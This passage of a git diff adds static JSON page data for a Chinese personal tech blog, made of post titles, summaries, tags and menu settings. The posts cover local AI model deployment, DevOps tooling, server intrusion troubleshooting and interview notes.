flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":4,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"建站"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\274\200\345\217\221.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\274\200\345\217\221.json" new file mode 100644 index 000000000..6678326fe --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\274\200\345\217\221.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on 